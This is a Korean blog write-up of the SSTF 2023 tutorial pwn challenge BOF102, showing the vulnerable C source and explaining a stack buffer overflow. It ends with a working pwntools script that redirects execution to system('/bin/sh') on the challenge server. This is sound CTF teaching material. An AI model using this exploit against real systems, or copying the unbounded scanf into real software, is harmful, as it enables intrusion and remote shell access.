이 영역을 누르면 첫 페이지로 이동
SH1R0_0의 기술블로그 블로그의 첫 페이지로 이동

SH1R0_0의 기술블로그

페이지 맨 위로 올라가기

SH1R0_0의 기술블로그

[pwn] Tutorial - BOF102

  • 2024.01.10 20:55
  • 🚩 CTF Writeup/SSTF 2023

 

 

1. 문제 설명

This is an advanced course in Buffer Overflow.

 

The binary is running at: nc bof102.sstf.site 1337.

 

Get the shell of the server!

 

 

2. Writeup

바이너리와 코드가 제공되는 튜토리얼 문제이다.

#include <stdio.h>
#include <stdlib.h>

char name[16];

void bofme() {
	char payload[16];

	puts("What's your name?");
	printf("Name > ");
	scanf("%16s", name);
	printf("Hello, %s.\n", name);

	puts("Do you wanna build a snowman?");
	printf(" > ");
	scanf("%s", payload);
	printf("!!!%s!!!\n", payload);
	puts("Good.");
}

int main() {
	system("echo 'Welcome to BOF 102!'");
	bofme();
	return 0;
}

 

 

1) 문제 분석

bof() 함수내에서 char payload[16]으로 16byte 크기의 로컬 변수를 선언하였다.

그러나 scanf("%s", payload); 를 통해서 사용자의 입력을 받을 때 입력의 크기를 제한하지 않는다.

이는 스택 버퍼오버플로우(BOF) 취약점으로 이어질 수 있다.

 

여기서 주목해야 하는 부분은 main() 함수의 system("echo 'Welcome to BOF 102!'"); 부분이다.

system() 함수의 인자값을 "/bin/sh"로 변경한다면 쉘을 휙득할 수 있다.

 

 

2) 보호기법 확인

 

 

3) Exploit

system("/bin/sh") 로 쉘을 휙득하기 위해 필요한 정보는 다음과 같다.

  • system() 함수의 주소
  • "/bin/sh" 문자열의 주소

system() 함수의 주소는 main() 함수에서 사용하고 있기 때문에 .plt 섹션에서 찾을 수 있다.

PIE가 활성화되어 있지 않으므로 system() 주소는 고정이다.

 

System() 함수의 주소 구하기

1. objdump 이용하기

objdump 명령은 컴파일된 바이너리 파일의 어셈블리 코드를 분석하고 디스어셈블리된 내용을 보여주는 도구이다. 여기서 objdump -d -j .plt bof102 명령은 bof102라는 실행 파일의 .plt 섹션에 있는 어셈블리 코드를 디스어셈블리하여 보여준다.

2. gdb의 p 명령어 이용하기

위 두 가지 방법을 통해서 system() 함수의 주소가 0x8048430 이라는것을 알 수 있다.

 

"/bin/sh" 문자열의 주소 구하기

우선 메모리내에 "/bin/sh" 문자열이 존재해야 한다. 이 문자열을 삽입하기 위해 전역변수로 선언된 name 변수를 이용할 수 있다. bofme() 함수의 첫 부분에 What's your name? 으로 사용자에게 16byte를 입력받고 name 에 저장하는 코드가 있다.

 

이 부분에 "/bin/sh" 문자열을 입력하고 system() 함수의 인자값으로 name 주소값을 넘겨주면 된다.

bofme()

from pwn import *

r = remote('bof102.sstf.site', 1337)

payload = b"A"*(16 + 4)
payload += p32(0x8048430) # system address
payload += b"A"*4 # system return address
payload += p32(0x804a06c) # name address

r.recvuntil("Name > ")
r.sendline(b'/bin/sh')
r.recvuntil(" > ")
r.sendline(payload)

r.interactive()

'🚩 CTF Writeup > SSTF 2023' 카테고리의 다른 글

[pwn] Tutorial - BOF104  (0) 2024.01.10
[pwn] Tutorial - BOF103  (0) 2024.01.10
[pwn] Tutorial - BOF101  (0) 2024.01.10
[web] Tutorial - SQLi 103  (0) 2024.01.10
[web] Tutorial - SQLi 102  (0) 2024.01.10

댓글

이 글 공유하기

  • 구독하기

    구독하기

  • 카카오톡

    카카오톡

  • 라인

    라인

  • 트위터

    트위터

  • Facebook

    Facebook

  • 카카오스토리

    카카오스토리

  • 밴드

    밴드

  • 네이버 블로그

    네이버 블로그

  • Pocket

    Pocket

  • Evernote

    Evernote

다른 글

  • [pwn] Tutorial - BOF104

    [pwn] Tutorial - BOF104

    2024.01.10
  • [pwn] Tutorial - BOF103

    [pwn] Tutorial - BOF103

    2024.01.10
  • [pwn] Tutorial - BOF101

    [pwn] Tutorial - BOF101

    2024.01.10
  • [web] Tutorial - SQLi 103

    [web] Tutorial - SQLi 103

    2024.01.10
다른 글 더 둘러보기

정보

SH1R0_0의 기술블로그 블로그의 첫 페이지로 이동

SH1R0_0의 기술블로그

  • SH1R0_0의 기술블로그의 첫 페이지로 이동

검색

메뉴

  • 홈
  • 태그
  • 방명록

카테고리

  • 분류 전체보기 (33)
    • 📖 Study (11)
      • Crypto (0)
      • WebHacking (3)
      • Reversing (0)
      • Pwnable (1)
      • Develop & CS (1)
      • Android (4)
      • Etc (2)
    • 🚩 CTF Writeup (14)
      • SSTF 2023 (8)
      • osu!gaming CTF 2024 (2)
      • WxMCTF '24 (4)
      • KalmarCTF 2024 (0)
    • 🎮 Dreamhack Writeup (8)
      • Web (7)
      • Pwnable (1)

최근 글

인기 글

댓글

공지사항

  • 공지 - 박민혁 (SH1R0_0)

아카이브

태그

나의 외부 링크

  • 관리자
  • 글쓰기
  • 공부

정보

SHIR0_0의 SH1R0_0의 기술블로그

SH1R0_0의 기술블로그

SHIR0_0

블로그 구독하기

  • 구독하기
  • RSS 피드

방문자

  • 전체 방문자
  • 오늘
  • 어제

티스토리

  • 티스토리 홈
  • 이 블로그 관리하기
  • 글쓰기
Powered by Tistory / Kakao. Copyright © SHIR0_0.

티스토리툴바